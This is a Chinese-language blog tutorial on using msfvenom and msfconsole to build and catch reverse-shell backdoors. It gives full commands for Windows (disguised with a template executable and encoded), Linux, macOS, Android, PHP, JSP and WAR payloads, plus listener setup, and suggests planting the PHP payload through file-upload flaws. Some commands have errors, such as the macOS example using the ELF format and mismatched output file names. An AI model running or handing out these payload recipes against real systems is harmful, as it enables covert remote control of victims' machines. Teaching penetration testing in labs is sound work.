博主的个人博客:www.ldsecurity.cn (往期所有文章都在这里)
1. msfvenom 的基本介绍:
msfvenom 是 msfpayload 和 msfencode 的组合,将这两个工具集成在一个框架实例中。
msfvenom 是用来生成后门的软件,在目标机上执行后门,在本地监听上线。实际上就是生成病毒文件。
1. 通过 msfvenom -h 查看帮助信息
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
# for example: msfvenom -l platforms
# for example: msfvenom -l payloads |grep windows |grep meterpreter
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>''s standard, advanced and evasion options
-f, --format <format> 文件输出格式
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> 指定一个可执行文件作为模板,相当于是用这个模板进行木马伪装
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
2. msfvenom 基本参数:
3. msfvenom 生成 payload:
其实你是无需记忆这个路径的,都是可以使用 tab 进行补全的
1. 针对 windows 生成 payload:
-f 是去指定文件输出的类型,exe 为可执行文件的后缀
-o 指定生成文件保存的路径
-x 指定生成文件的模板(也就是进行模仿,其文件大小以及图片都是一样的)
-e 指定编码
可以 windows/x86 指定架构
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.16.128 lport=5445 -x /home/blackguest007/xiaokui.exe -e x86/shikata_ga_nai -f exe -o /var/www/html/heelllo.exe
1. 案例:
渗透 win7
将生成得到文件放到目标 win7 中,然后我们现在需要用 msfconsole 进行监听
2. msfconsole 监听模块:
注意点:我们需要注意的一点是,我们进行监听的时候,监听使用 set 去建立的 payload 是要与受害者中的 payload 保持一致的
msfconlose
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options # 查看需要配置的选项
show targets # 查看当前 payload 支持哪一些操作系统
set lhost 192.168.16.128
set lport 5445 # 端口要和生成的端口保持一致
run
接下来我们 win7 运行文件
然后我们回到 kali ,可以看到我们的 session 出现了,由于我点了几次,因此我们的 session 会有几个
然后我们即可 sessions id 进入到该 session
help
2. 针对 linux 生成 payload:
linux/x86 是针对 linux/x86 系统
在 linux 中,我们可执行文件类型为 elf , 因此我们需要使用 -f 去指定生成文件的类型为 elf
这里我们针对 linux/x86 系统生成一个名为 shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=your ip address lport=your port -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp lhost=target ip address lport=connect your pot -f elf > shell.elf
3. 针对 mac 生成 payload:
针对 mac 我们使用 -f 指定 macho
osx/x86
msfvenom -p osx/x86/shell_reverse_tcp lhost=your ip address lport=your port -f elf > shell.elf
4. 针对 android 生成 payload:
1. kali 攻击模拟机案例:
msfvenom -p android/meterpreter_reverse_tcp lhost=192.168.16.128 lport=5001 R > 222.apk
接下来我们假设目标手机上已经有了该木马文件,模拟机以雷电作为案例
1. 攻击流程
msfconsole # 进入到 msf 后台
use exploit/multi/handler # 使用模块,这个模块我们是用来实现监听的
这里就进行省略了,因为我们上面其实都已经介绍案例了,原理都是一样的
5. 针对各种编程语言生成 payload
这里我们生成的文件,不同于一句话木马,我们这些 payload 可以利用文件上传漏洞,将其上传到目标服务器上去,然后我们需要做的就是访问该 php 文件,然后我们回到 msf 即可发现,我们拿到了 meterpreter
msfvenom -p php/meterpreter/reverse_tcp lhost=your ip address lport=your port to connect -f raw >shell.php # php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
msfvenom -p java/meterpreter/reverse_tcp lhost=your ip address lport=your port to connect -f raw >shell.jsp # java
msfvenom -p windows/meterpreter/reverse_tcp lhost=your ip address lport=your port to connect -f asp > shellasp # jsp
msfvenom -p java/jsp_shell_reverse_tcp lhost=your ip address lport=your port to connect -f war > shellasp # war